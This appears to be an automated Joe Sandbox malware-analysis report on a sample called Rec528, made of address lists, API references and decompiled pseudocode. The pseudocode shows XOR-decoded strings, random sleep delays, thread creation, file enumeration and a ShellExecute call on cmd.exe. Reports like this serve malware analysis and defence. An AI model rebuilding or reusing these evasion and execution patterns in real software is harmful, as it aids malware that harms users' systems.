0x004052fd
0x00405303
0x0040530a
0x0040530d
0x00405314
0x00405317
0x00405317
0x00405319
0x0040531a
0x0040531a
0x0040532a
0x00405334
0x00405335
0x00405337
0x00405340
0x00000000
0x00000000
0x00000000
0x004050ed
0x004050dd
0x00000000
0x00405170
0x00405170
0x00405173
0x00405176
0x00405179
0x00405179
0x00405182
0x00000000
0x00405182
0x00000000
0x00000000
0x00000000
0x00404ee1
0x00404ed1
0x00000000
0x00404eed
0x00404eed
0x00404eee
0x00404eee
0x00000000
0x00404df0
0x00000000
0x00000000
0x00000000
0x004049bd
0x004049ad
0x00000000
0x00000000
0x00000000
0x00404632
0x00404622
0x00404614
0x00000000

APIs

FindFirstFileA.KERNEL32(?,?,00000002,00000000,00439A5C,00000002,00000000), ref: 0040456D
FindNextFileA.KERNELBASE(00000000,?,00000000,00000000,?,?), ref: 0040464A
FindClose.KERNEL32(00000000), ref: 00404655
__Init_thread_footer.LIBCMT ref: 004048E5
__Init_thread_footer.LIBCMT ref: 00404A83

Strings

O@K\, xrefs: 00404A33
mmBK, xrefs: 00404A2C
\Desktop, xrefs: 004049EB
{}k|, xrefs: 00404884

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: Find$FileInit_thread_footer$CloseFirstNext
String ID: O@K\$\Desktop$mmBK${}k|
API String ID: 3881311970-1521651405
Opcode ID: f9145b10adc208b690ca63000b2da85c0f639136541111d44534ffdca4568c66
Instruction ID: d7330ead17b1e3520cd4e277c6f23062474a6e7005e4ea855cb59a35f150ec0e
Opcode Fuzzy Hash: f9145b10adc208b690ca63000b2da85c0f639136541111d44534ffdca4568c66
Instruction Fuzzy Hash: 533269B1D002448BEB14DF68DC457AEBBB0EF46304F14467EE8057B2D2D7B8A985CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409670 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 599
sleepCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E00409670(void* __ecx, void* __edx, signed int __edi, void* __esi) {
				intOrPtr _v8;
				signed char _v16;
				signed int _v20;
				char _v24;
				char _v28;
				signed int _v32;
				void* _v36;
				signed int _v40;
				signed char _v44;
				signed char _v48;
				signed int _v52;
				signed char _v56;
				signed int _v60;
				signed char _v76;
				signed char _v80;
				signed char _v84;
				signed char _v100;
				signed char _v124;
				signed char _v128;
				signed char _v132;
				signed char _v164;
				char _v172;
				intOrPtr _v176;
				intOrPtr _v192;
				signed int _v196;
				signed int* _v208;
				signed int* _v224;
				signed int* _v240;
				char _v252;
				char _v268;
				char _v444;
				char _v445;
				signed char _v452;
				signed char _v456;
				signed int _v472;
				signed int _v476;
				signed char _v480;
				signed int _v496;
				char _v520;
				signed int _v556;
				intOrPtr _v564;
				void* __ebx;
				void* __ebp;
				signed int _t200;
				signed int _t201;
				intOrPtr _t205;
				intOrPtr _t218;
				void* _t221;
				signed int _t232;
				intOrPtr* _t242;
				intOrPtr _t248;
				signed char _t249;
				signed char _t250;
				void* _t257;
				signed char _t270;
				signed char _t272;
				signed char _t275;
				signed int _t279;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				signed int _t288;
				signed int _t289;
				signed int _t290;
				signed int _t292;
				signed int _t296;
				intOrPtr _t300;
				signed char _t301;
				signed char _t302;
				char _t304;
				intOrPtr _t316;
				signed char _t317;
				signed char _t318;
				signed char* _t320;
				signed int _t322;
				signed char _t332;
				intOrPtr* _t334;
				signed int _t336;
				void* _t341;
				intOrPtr _t342;
				void* _t344;
				void* _t346;
				intOrPtr* _t349;
				void* _t362;
				signed char* _t370;
				void* _t383;
				signed char _t384;
				signed int _t385;
				signed char* _t389;
				signed char* _t393;
				signed char _t397;
				signed char* _t406;
				signed char _t409;
				long _t411;
				signed char _t413;
				void* _t414;
				signed char* _t415;
				signed char* _t417;
				signed char _t418;
				void* _t419;
				void* _t421;
				void* _t426;
				signed int _t429;
				signed int _t430;
				void* _t433;
				signed int _t436;
				void* _t439;
				void* _t440;
				void* _t441;
				signed int _t442;
				void* _t450;
				void* _t454;
				void* _t492;

				_t420 = __edi;
				_t344 = _t433;
				_t436 = (_t433 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t344 + 4));
				_t429 = _t436;
				_push(0xffffffff);
				_push(0x42ca30);
				_push( *[fs:0x0]);
				_push(_t344);
				_t200 =  *0x43d054; // 0x298e9dc2
				_t201 = _t200 ^ _t429;
				_v32 = _t201;
				_push(__esi);
				_push(__edi);
				_push(_t201);
				 *[fs:0x0] =  &_v24;
				_t424 =  *((intOrPtr*)(_t344 + 0x10));
				_v40 = 0;
				E00417D97(__ecx, E004187F3(__ecx, __edx, 0));
				_t349 =  *((intOrPtr*)(_t344 + 0x10));
				_v76 = 0;
				_t439 = _t436 - 0x1f0 + 8;
				_v60 = 0;
				_v56 = 0xf;
				_t402 = _t349 + 1;
				do {
					_t205 =  *_t349;
					_t349 = _t349 + 1;
					_t456 = _t205;
				} while (_t205 != 0);
				E004026C0(_t344,  &_v76, _t424, _t349 - _t402);
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				E00410A80(__edi,  &_v268, 0, 0xa8);
				_t440 = _t439 + 8;
				_v268 = 0x439cec;
				_v164 = 0;
				asm("xorps xmm0, xmm0");
				_v132 = 0;
				_v128 = 0;
				_v124 = 0;
				_v172 = 0x439ca8;
				_v176 = 0x48;
				asm("movlpd [ebp-0xf8], xmm0");
				E0040C380( &_v172, _t402, _t456,  &_v252);
				_t26 = _v268 + 4; // 0x60
				 *((intOrPtr*)(_t429 +  *_t26 - 0x100)) = 0x439d00;
				_t30 = _v268 + 4; // 0x43a364
				_t31 =  *_t30 - 0x60; // 0x43a304
				 *((intOrPtr*)(_t429 +  *_t30 - 0x104)) = _t31;
				_t354 =  &_v252;
				E0040C2B0(_t354, _t456);
				_t425 = _v60;
				_t217 =  >=  ? _v76 :  &_v76;
				_v40 =  >=  ? _v76 :  &_v76;
				_t218 = 2;
				_v252 = 0x439c40;
				if(_t425 > 0x7fffffff) {
					E0040DF79(_t344, __eflags);
					goto L88;
				} else {
					if(_t425 == 0) {
						_v196 = 0;
						L11:
						_push(_t354);
						_t403 =  &_v100;
						_v192 = _t218;
						_v100 = 0;
						_v84 = 0;
						_v80 = 0xf;
						_t242 = E0040D690( &_v268,  &_v100);
						_t440 = _t440 + 4;
						if(( *( *((intOrPtr*)( *_t242 + 4)) + _t242 + 0xc) & 0x00000006) == 0) {
							do {
								_t332 = _v48;
								_push( &_v100);
								if(_t332 == _v44) {
									_push(_t332);
									_t397 =  &_v52;
									E0040CFB0(_t344, _t397, _t420, _t425);
								} else {
									_t397 = _t332;
									E0040BB10(_t344, _t397, _t403, _t420);
									_v48 = _v48 + 0x18;
								}
								_push(_t397);
								_t403 =  &_v100;
								_t334 = E0040D690( &_v268,  &_v100);
								_t440 = _t440 + 4;
							} while (( *( *((intOrPtr*)( *_t334 + 4)) + _t334 + 0xc) & 0x00000006) == 0);
						}
						_t369 = _v48 - _v52;
						_t420 =  *[fs:0x2c];
						if((0x2aaaaaab * (_v48 - _v52) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _v52) >> 0x20 >> 2) != 0) {
							L30:
							_t420 =  *_t420;
							_t248 =  *0x450fdc; // 0x80000009
							_v40 = 0x2e45464d;
							if(_t248 >  *((intOrPtr*)(_t420 + 4))) {
								E0040EEC8(_t248, 0x450fdc);
								_t440 = _t440 + 4;
								_t474 =  *0x450fdc - 0xffffffff;
								if( *0x450fdc == 0xffffffff) {
									 *0x450f10 = _v40;
									E0040F1DA(_t369, _t474, 0x42d460);
									E0040EE7E(0x450fdc);
									_t440 = _t440 + 8;
								}
							}
							_t249 =  *0x450f13; // 0x0
							if(_t249 != 0) {
								 *0x450f10 =  *0x450f10 ^ 0x0000002e;
								 *0x450f11 =  *0x450f11 ^ 0x0000002e;
								 *0x450f12 =  *0x450f12 ^ 0x0000002e;
								 *0x450f13 = _t249 ^ 0x0000002e;
							}
							_t370 = 0x450f10;
							_v496 = 0;
							_v480 = 0;
							_v476 = 0xf;
							_t106 =  &(_t370[1]); // 0x450f11
							_t406 = _t106;
							do {
								_t250 =  *_t370;
								_t370 =  &(_t370[1]);
							} while (_t250 != 0);
							E004026C0(_t344,  &_v496, 0x450f10, _t370 - _t406);
							_t425 = _v52;
							_t354 = _t425;
							_v40 = 5;
							if(E0040C9E0(_t425,  &_v496) != 0) {
								L47:
								__eflags = _v40 & 0x00000002;
								_v445 = 1;
								if(__eflags == 0) {
									goto L52;
								} else {
									goto L48;
								}
							} else {
								_t300 =  *0x450d3c; // 0x8000000a
								_v40 = 0x45464d01;
								_v445 = 0x2e;
								if(_t300 >  *((intOrPtr*)(_t420 + 4))) {
									E0040EEC8(_t300, 0x450d3c);
									_t440 = _t440 + 4;
									_t480 =  *0x450d3c - 0xffffffff;
									if( *0x450d3c == 0xffffffff) {
										 *0x450d78 = _v40;
										 *0x450d7c = _v445;
										E0040F1DA(_t354, _t480, 0x42d440);
										E0040EE7E(0x450d3c);
										_t440 = _t440 + 8;
									}
								}
								_t301 =  *0x450d7c; // 0x0
								if(_t301 != 0) {
									 *0x450d78 =  *0x450d78 ^ 0x0000002e;
									 *0x450d79 =  *0x450d79 ^ 0x0000002e;
									 *0x450d7a =  *0x450d7a ^ 0x0000002e;
									 *0x450d7b =  *0x450d7b ^ 0x0000002e;
									 *0x450d7c = _t301 ^ 0x0000002e;
								}
								_t389 = 0x450d78;
								_v472 = 0;
								_v456 = 0;
								_v452 = 0xf;
								_t119 =  &(_t389[1]); // 0x450d79
								_t415 = _t119;
								do {
									_t302 =  *_t389;
									_t389 =  &(_t389[1]);
								} while (_t302 != 0);
								E004026C0(_t344,  &_v472, 0x450d78, _t389 - _t415);
								_t425 = _v52;
								_t354 = _t425;
								_v40 = 7;
								_t304 = E0040C9E0(_t425,  &_v472);
								if(_t304 != 0) {
									goto L47;
								} else {
									_v445 = _t304;
									L48:
									_t413 = _v452;
									if(_t413 < 0x10) {
										L52:
										_t402 = _v476;
										if(_t402 < 0x10) {
											L56:
											if(_v445 != 0) {
												goto L89;
											} else {
												_t374 = _v48 - _t425;
												_t402 = 0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2;
												_t257 = (0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _t425) >> 0x20 >> 2);
												_t492 = _t257 - 1;
												if(_t492 < 0) {
													goto L90;
												} else {
													if(_t492 == 0) {
														goto L91;
													} else {
														if(_t257 == 2) {
															_t279 = _t425;
															if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
																_t279 =  *_t425;
															}
															if( *((intOrPtr*)(_t425 + 0x10)) != 1) {
																L68:
																__eflags =  *((intOrPtr*)(_t425 + 0x14)) - 0x10;
																_t385 = _t425;
																if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
																	_t385 =  *_t425;
																}
																__eflags =  *((intOrPtr*)(_t425 + 0x10)) - 2;
																if(__eflags == 0) {
																	_t280 =  *_t385 & 0x000000ff;
																	__eflags = _t280 - 0x72;
																	if(_t280 != 0x72) {
																		L74:
																		asm("sbb eax, eax");
																		_t281 = _t280 | 0x00000001;
																		__eflags = _t281;
																	} else {
																		_t280 =  *(_t385 + 1) & 0x000000ff;
																		__eflags = _t280 - 0x73;
																		if(_t280 != 0x73) {
																			goto L74;
																		} else {
																			_t281 = 0;
																		}
																	}
																	__eflags = _t281;
																	if(__eflags == 0) {
																		_t282 = E00417D76(_t385, __eflags);
																		asm("cdq");
																		_t411 = _t282 % 0xc350 + 0x11170;
																		__eflags = _t411;
																		goto L77;
																	}
																}
															} else {
																_t288 =  *_t279 & 0x000000ff;
																if(_t288 != 0x72) {
																	asm("sbb eax, eax");
																	_t289 = _t288 | 0x00000001;
																	__eflags = _t289;
																} else {
																	_t289 = 0;
																}
																_t497 = _t289;
																if(_t289 != 0) {
																	goto L68;
																} else {
																	_t290 = E00417D76(_t374, _t497);
																	asm("cdq");
																	_t411 = _t290 % 0xc350 + 0x2710;
																	L77:
																	Sleep(_t411);
																	_t450 = _t440 - 0x18;
																	E0040BB10(_t344, _t450, _t411, _t420, _v52 + 0x18);
																	E00408D00(_t344, _t420, _t425, _v52 + 0x18);
																	_t440 = _t450 + 0x18;
																}
															}
														}
														_t409 = _v80;
														if(_t409 < 0x10) {
															L82:
															_t161 = _v268 + 4; // 0x43a364
															 *((intOrPtr*)(_t429 +  *_t161 - 0x100)) = 0x439d00;
															_t165 = _v268 + 4; // 0x43a364
															_t166 =  *_t165 - 0x60; // 0x43a304
															 *((intOrPtr*)(_t429 +  *_t165 - 0x104)) = _t166;
															E0040A490( &_v252);
															_t171 = _v268 + 4; // 0x43a364
															 *((intOrPtr*)(_t429 +  *_t171 - 0x100)) = 0x439ca8;
															_t175 = _v268 + 4; // 0x33323130
															_t176 =  *_t175 - 0x18; // 0x33323118
															 *((intOrPtr*)(_t429 +  *_t175 - 0x104)) = _t176;
															_v16 = 0;
															_v172 = 0x439be0;
															E0040E453( &_v172);
															_t442 = _t440 + 4;
															E0040B8B0( &_v52, _t420);
															_t270 = _v56;
															if(_t270 < 0x10) {
																L86:
																 *[fs:0x0] = _v24;
																_pop(_t421);
																_pop(_t426);
																return E0040EB3F(_t270, _t344, _v32 ^ _t429, _t409, _t421, _t426);
															} else {
																_t409 = _v76;
																_t185 = _t270 + 1; // 0x11
																_t383 = _t185;
																_t272 = _t409;
																if(_t383 < 0x1000) {
																	L85:
																	_push(_t383);
																	_t270 = E0040ED7F(_t409);
																	goto L86;
																} else {
																	_t402 =  *(_t409 - 4);
																	_t383 = _t383 + 0x23;
																	if(_t272 -  *(_t409 - 4) + 0xfffffffc > 0x1f) {
																		goto L92;
																	} else {
																		goto L85;
																	}
																}
															}
														} else {
															_t384 = _v100;
															_t409 = _t409 + 1;
															_t275 = _t384;
															if(_t409 < 0x1000) {
																L81:
																_push(_t409);
																E0040ED7F(_t384);
																_t440 = _t440 + 8;
																goto L82;
															} else {
																_t384 =  *(_t384 - 4);
																_t402 = _t409 + 0x23;
																if(_t275 - _t384 + 0xfffffffc > 0x1f) {
																	goto L92;
																} else {
																	goto L81;
																}
															}
														}
													}
												}
											}
										} else {
											_t354 = _v496;
											_t402 = _t402 + 1;
											_t292 = _t354;
											if(_t402 < 0x1000) {
												L55:
												_push(_t402);
												E0040ED7F(_t354);
												_t425 = _v52;
												_t440 = _t440 + 8;
												goto L56;
											} else {
												_t354 =  *(_t354 - 4);
												_t402 = _t402 + 0x23;
												if(_t292 - _t354 + 0xfffffffc > 0x1f) {
													goto L92;
												} else {
													goto L55;
												}
											}
										}
									} else {
										_t354 = _v472;
										_t414 = _t413 + 1;
										_t296 = _t354;
										if(_t414 < 0x1000) {
											L51:
											_push(_t414);
											E0040ED7F(_t354);
											_t425 = _v52;
											_t440 = _t440 + 8;
											goto L52;
										} else {
											_t354 =  *(_t354 - 4);
											_t402 = _t414 + 0x23;
											if(_t296 - _t354 + 0xfffffffc > 0x1f) {
												goto L92;
											} else {
												goto L51;
											}
										}
									}
								}
							}
						} else {
							_t392 =  *_t420;
							_t316 =  *0x450ec8; // 0x80000008
							_v40 = 0x7b7d6160;
							_v36 = 0x2e6c;
							if(_t316 >  *((intOrPtr*)( *_t420 + 4))) {
								E0040EEC8(_t316, 0x450ec8);
								_t440 = _t440 + 4;
								_t468 =  *0x450ec8 - 0xffffffff;
								if( *0x450ec8 == 0xffffffff) {
									 *0x450d10 = _v40;
									 *0x450d14 = _v36;
									E0040F1DA(_t392, _t468, E0042D470);
									E0040EE7E(0x450ec8);
									_t440 = _t440 + 8;
								}
							}
							_t317 =  *0x450d15; // 0x0
							if(_t317 != 0) {
								 *0x450d10 =  *0x450d10 ^ 0x0000002e;
								 *0x450d11 =  *0x450d11 ^ 0x0000002e;
								 *0x450d12 =  *0x450d12 ^ 0x0000002e;
								 *0x450d13 =  *0x450d13 ^ 0x0000002e;
								 *0x450d14 =  *0x450d14 ^ 0x0000002e;
								 *0x450d15 = _t317 ^ 0x0000002e;
							}
							_t393 = 0x450d10;
							_v472 = 0;
							_v456 = 0;
							_v452 = 0xf;
							_t89 =  &(_t393[1]); // 0x450d11
							_t417 = _t89;
							do {
								_t318 =  *_t393;
								_t393 =  &(_t393[1]);
							} while (_t318 != 0);
							_t369 =  &_v472;
							E004026C0(_t344,  &_v472, 0x450d10, _t393 - _t417);
							_t320 = _v48;
							if(_t320 == _v44) {
								_push( &_v472);
								_push(_t320);
								_t369 =  &_v52;
								E0040CDD0(_t344,  &_v52, _t420, _t425);
								_t418 = _v452;
								__eflags = _t418 - 0x10;
								if(_t418 < 0x10) {
									goto L30;
								} else {
									_t369 = _v472;
									_t419 = _t418 + 1;
									_t322 = _t369;
									__eflags = _t419 - 0x1000;
									if(_t419 < 0x1000) {
										L29:
										_push(_t419);
										E0040ED7F(_t369);
										_t440 = _t440 + 8;
										goto L30;
									} else {
										_t369 =  *(_t369 - 4);
										_t402 = _t419 + 0x23;
										__eflags = _t322 - _t369 + 0xfffffffc - 0x1f;
										if(__eflags > 0) {
											goto L92;
										} else {
											goto L29;
										}
									}
								}
							} else {
								asm("movups xmm0, [ebp-0x1cc]");
								 *_t320 = 0;
								asm("movups [eax], xmm0");
								asm("movq xmm0, [ebp-0x1bc]");
								asm("movq [eax+0x10], xmm0");
								_v48 = _v48 + 0x18;
								goto L30;
							}
						}
					} else {
						if(_t425 < 0x1000) {
							_t336 = E0040ED4F(_t344, _t420, _t425, __eflags, _t425);
							_t454 = _t440 + 4;
							_t420 = _t336;
							L9:
							E00410440(_t420, _v40, _t425);
							_t354 = _t425 + _t420;
							_v196 = _t354;
							_t440 = _t454 + 0xc;
							 *_v240 = _t420;
							 *_v224 = _t420;
							 *_v208 = _t425;
							_t218 = 3;
							goto L11;
						} else {
							_t41 = _t425 + 0x23; // 0x23
							_t341 = _t41;
							_t461 = _t341 - _t425;
							if(_t341 <= _t425) {
								L88:
								E004018C0();
								L89:
								_t221 = E00409650( &_v444, _t354);
								_t441 = _t440 - 0xc;
								L93();
								E0040B460( &_v444, E00402520( &_v520, E0040B750(_t221)));
								E00402450(_t344,  &_v520);
								E00417C2D(0);
								L90:
								E004054C0(_t344, __eflags);
								L91:
								_t442 = _t441 - 0x18;
								_t425 = _t442;
								E0040BB10(_t344, _t442, _t402, _t420, E0040B890( &_v52, 0)); // executed
								E00409480(_t344, _t442, _t402, _t420, _t442); // executed
								goto L92;
							} else {
								_t342 = E0040ED4F(_t344, _t420, _t425, _t461, _t341);
								_t442 = _t440 + 4;
								if(_t342 == 0) {
									L92:
									E004134A7(_t344, _t402, __eflags);
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									asm("int3");
									_push(_t429);
									_t430 = _t442;
									_t232 =  *0x43d054; // 0x298e9dc2
									_v556 = _t232 ^ _t430;
									_push(_t344);
									_v564 = 0x5a5d4b5a;
									_t362 =  *( *[fs:0x2c]);
									_t235 =  *0x450ffc;
									__eflags =  *0x450ffc -  *((intOrPtr*)(_t362 + 4));
									if( *0x450ffc >  *((intOrPtr*)(_t362 + 4))) {
										E0040EEC8(_t235, 0x450ffc);
										__eflags =  *0x450ffc - 0xffffffff;
										if(__eflags == 0) {
											_t197 =  &_v28; // 0x5a5d4b5a
											 *0x450f30 =  *_t197;
											 *0x450f34 = 0x2e;
											E0040F1DA(_t362, __eflags, 0x42d420);
											E0040EE7E(0x450ffc);
										}
									}
									__eflags = _v20 ^ _t430;
									_pop(_t346);
									return E0040EB3F(0x450f30, _t346, _v20 ^ _t430, _t402, _t420, _t425);
								} else {
									_t42 = _t342 + 0x23; // 0x23
									_t420 = _t42 & 0xffffffe0;
									 *((intOrPtr*)(_t420 - 4)) = _t342;
									goto L9;
								}
							}
						}
					}
				}
			}

0x00409670
0x00409671
0x00409679
0x00409680
0x00409684
0x00409686
0x00409688
0x00409693
0x00409694
0x0040969b
0x004096a0
0x004096a2
0x004096a5
0x004096a6
0x004096a7
0x004096ab
0x004096b1
0x004096b6
0x004096c6
0x004096cb
0x004096cd
0x004096d4
0x004096d7
0x004096de
0x004096e5
0x004096e8
0x004096e8
0x004096ea
0x004096eb
0x004096eb
0x004096f6
0x00409706
0x00409710
0x00409717
0x0040971e
0x00409723
0x00409726
0x00409736
0x00409740
0x00409743
0x00409750
0x00409758
0x0040975f
0x00409769
0x00409773
0x0040977b
0x00409786
0x00409789
0x0040979a
0x0040979d
0x004097a0
0x004097a7
0x004097ad
0x004097b9
0x004097bc
0x004097c0
0x004097c3
0x004097c8
0x004097d8
0x00409e63
0x00000000
0x004097de
0x004097e0
0x00409851
0x0040985b
0x0040985b
0x0040985c
0x0040985f
0x0040986b
0x00409872
0x00409879
0x00409880
0x00409885
0x00409892
0x00409894
0x00409894
0x0040989a
0x0040989e
0x004098ad
0x004098ae
0x004098b1
0x004098a0
0x004098a0
0x004098a2
0x004098a7
0x004098a7
0x004098b6
0x004098b7
0x004098c0
0x004098c5
0x004098cd
0x00409894
0x004098dc
0x004098df
0x004098f2
0x00409a3f
0x00409a3f
0x00409a41
0x00409a46
0x00409a53
0x00409a5a
0x00409a5f
0x00409a62
0x00409a69
0x00409a73
0x00409a78
0x00409a85
0x00409a8a
0x00409a8a
0x00409a69
0x00409a8d
0x00409a94
0x00409a96
0x00409a9d
0x00409aa4
0x00409aad
0x00409aad
0x00409ab2
0x00409ab7
0x00409ac1
0x00409acb
0x00409ad5
0x00409ad5
0x00409ad8
0x00409ad8
0x00409ada
0x00409adb
0x00409aed
0x00409af2
0x00409afb
0x00409afd
0x00409b0b
0x00409bfe
0x00409bfe
0x00409c02
0x00409c09
0x00000000
0x00000000
0x00000000
0x00000000
0x00409b11
0x00409b11
0x00409b16
0x00409b1d
0x00409b2a
0x00409b31
0x00409b36
0x00409b39
0x00409b40
0x00409b45
0x00409b55
0x00409b5a
0x00409b67
0x00409b6c
0x00409b6c
0x00409b40
0x00409b6f
0x00409b76
0x00409b78
0x00409b7f
0x00409b86
0x00409b8d
0x00409b96
0x00409b96
0x00409b9b
0x00409ba0
0x00409baa
0x00409bb4
0x00409bbe
0x00409bbe
0x00409bc1
0x00409bc1
0x00409bc3
0x00409bc4
0x00409bd6
0x00409bdb
0x00409be4
0x00409be6
0x00409bed
0x00409bf4
0x00000000
0x00409bf6
0x00409bf6
0x00409c0b
0x00409c0b
0x00409c14
0x00409c48
0x00409c48
0x00409c51
0x00409c85
0x00409c8c
0x00000000
0x00409c92
0x00409c9a
0x00409c9e
0x00409ca6
0x00409ca8
0x00409cab
0x00000000
0x00409cb1
0x00409cb1
0x00000000
0x00409cb7
0x00409cba
0x00409cc4
0x00409cc6
0x00409cc8
0x00409cc8
0x00409cce
0x00409cf9
0x00409cf9
0x00409cfd
0x00409cff
0x00409d01
0x00409d01
0x00409d03
0x00409d07
0x00409d09
0x00409d0c
0x00409d0e
0x00409d1c
0x00409d1c
0x00409d1e
0x00409d1e
0x00409d10
0x00409d10
0x00409d14
0x00409d16
0x00000000
0x00409d18
0x00409d18
0x00409d18
0x00409d16
0x00409d21
0x00409d23
0x00409d25
0x00409d2a
0x00409d32
0x00409d32
0x00000000
0x00409d32
0x00409d23
0x00409cd0
0x00409cd0
0x00409cd5
0x00409cdb
0x00409cdd
0x00409cdd
0x00409cd7
0x00409cd7
0x00409cd7
0x00409ce0
0x00409ce2
0x00000000
0x00409ce4
0x00409ce4
0x00409ce9
0x00409cf1
0x00409d38
0x00409d39
0x00409d42
0x00409d4b
0x00409d50
0x00409d55
0x00409d55
0x00409ce2
0x00409cce
0x00409d58
0x00409d5e
0x00409d8c
0x00409d92
0x00409d95
0x00409da6
0x00409da9
0x00409dac
0x00409db9
0x00409dc4
0x00409dc7
0x00409dd8
0x00409ddb
0x00409dde
0x00409deb
0x00409df3
0x00409dfd
0x00409e02
0x00409e08
0x00409e0d
0x00409e13
0x00409e43
0x00409e46
0x00409e4e
0x00409e4f
0x00409e60
0x00409e15
0x00409e15
0x00409e18
0x00409e18
0x00409e1b
0x00409e23
0x00409e39
0x00409e39
0x00409e3b
0x00000000
0x00409e25
0x00409e25
0x00409e28
0x00409e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e33
0x00409e23
0x00409d60
0x00409d60
0x00409d63
0x00409d64
0x00409d6c
0x00409d82
0x00409d82
0x00409d84
0x00409d89
0x00000000
0x00409d6e
0x00409d6e
0x00409d71
0x00409d7c
0x00000000
0x00000000
0x00000000
0x00000000
0x00409d7c
0x00409d6c
0x00409d5e
0x00409cb1
0x00409cab
0x00409c53
0x00409c53
0x00409c59
0x00409c5a
0x00409c62
0x00409c78
0x00409c78
0x00409c7a
0x00409c7f
0x00409c82
0x00000000
0x00409c64
0x00409c64
0x00409c67
0x00409c72
0x00000000
0x00000000
0x00000000
0x00000000
0x00409c72
0x00409c62
0x00409c16
0x00409c16
0x00409c1c
0x00409c1d
0x00409c25
0x00409c3b
0x00409c3b
0x00409c3d
0x00409c42
0x00409c45
0x00000000
0x00409c27
0x00409c27
0x00409c2a
0x00409c35
0x00000000
0x00000000
0x00000000
0x00000000
0x00409c35
0x00409c25
0x00409c14
0x00409bf4
0x004098f8
0x004098f8
0x004098fa
0x004098ff
0x00409906
0x00409912
0x00409919
0x0040991e
0x00409921
0x00409928
0x0040992d
0x0040993b
0x00409941
0x0040994e
0x00409953
0x00409953
0x00409928
0x00409956
0x0040995d
0x0040995f
0x00409966
0x0040996d
0x00409974
0x0040997b
0x00409984
0x00409984
0x00409989
0x0040998e
0x00409998
0x004099a2
0x004099ac
0x004099ac
0x004099b0
0x004099b0
0x004099b2
0x004099b3
0x004099bf
0x004099c5
0x004099ca
0x004099d0
0x004099fb
0x004099fc
0x004099fd
0x00409a00
0x00409a05
0x00409a0b
0x00409a0e
0x00000000
0x00409a10
0x00409a10
0x00409a16
0x00409a17
0x00409a19
0x00409a1f
0x00409a35
0x00409a35
0x00409a37
0x00409a3c
0x00000000
0x00409a21
0x00409a21
0x00409a24
0x00409a2c
0x00409a2f
0x00000000
0x00000000
0x00000000
0x00000000
0x00409a2f
0x00409a1f
0x004099d2
0x004099d2
0x004099d9
0x004099df
0x004099e2
0x004099ea
0x004099ef
0x00000000
0x004099ef
0x004099d0
0x004097e2
0x004097e8
0x00409812
0x00409817
0x0040981a
0x0040981c
0x00409821
0x0040982c
0x0040982f
0x00409835
0x00409838
0x00409840
0x00409848
0x0040984a
0x00000000
0x004097ea
0x004097ea
0x004097ea
0x004097ed
0x004097ef
0x00409e68
0x00409e68
0x00409e6d
0x00409e74
0x00409e79
0x00409e7c
0x00409e9b
0x00409ea6
0x00409ead
0x00409eb2
0x00409eb2
0x00409eb7
0x00409eb7
0x00409ebd
0x00409ec9
0x00409ece
0x00000000
0x004097f5
0x004097f6
0x004097fb
0x00409800
0x00409ed3
0x00409ed3
0x00409ed8
0x00409ed9
0x00409eda
0x00409edb
0x00409edc
0x00409edd
0x00409ede
0x00409edf
0x00409ee0
0x00409ee1
0x00409ee6
0x00409eed
0x00409ef6
0x00409ef7
0x00409f00
0x00409f02
0x00409f07
0x00409f0d
0x00409f14
0x00409f1c
0x00409f23
0x00409f25
0x00409f2d
0x00409f32
0x00409f38
0x00409f42
0x00409f47
0x00409f23
0x00409f52
0x00409f54
0x00409f5d
0x00409806
0x00409806
0x00409809
0x0040980c
0x00000000
0x0040980c
0x00409800
0x004097ef
0x004097e8
0x004097e0

APIs

Part of subcall function 004187F3: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,004094BA,00000000), ref: 00418806
Part of subcall function 004187F3: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00418837

__Init_thread_footer.LIBCMT ref: 0040994E
__Init_thread_footer.LIBCMT ref: 00409A85
__Init_thread_footer.LIBCMT ref: 00409B67
Sleep.KERNEL32(?,00450F10,00450F11,?,?,?), ref: 00409D39
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00409DFD
Concurrency::cancel_current_task.LIBCPMT ref: 00409E63
Concurrency::cancel_current_task.LIBCPMT ref: 00409E68

Part of subcall function 004018C0: ___std_exception_copy.LIBVCRUNTIME ref: 004018FE

Part of subcall function 004054C0: GetCurrentProcessId.KERNEL32(298E9DC2), ref: 004054EC
Part of subcall function 004054C0: GetCurrentProcessId.KERNEL32 ref: 00405508
Part of subcall function 004054C0: ShellExecuteA.SHELL32(00000000,00000000,C:\Windows\System32\cmd.exe,00000000,00000000,00000000), ref: 004055A4

Part of subcall function 00409480: CreateThread.KERNEL32 ref: 0040957E
Part of subcall function 00409480: Sleep.KERNEL32(00000BB8), ref: 00409589

__Init_thread_footer.LIBCMT ref: 00409F42

Strings

MFE., xrefs: 00409A46
D@, xrefs: 00409DF3
ZK]Z, xrefs: 00409F25

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

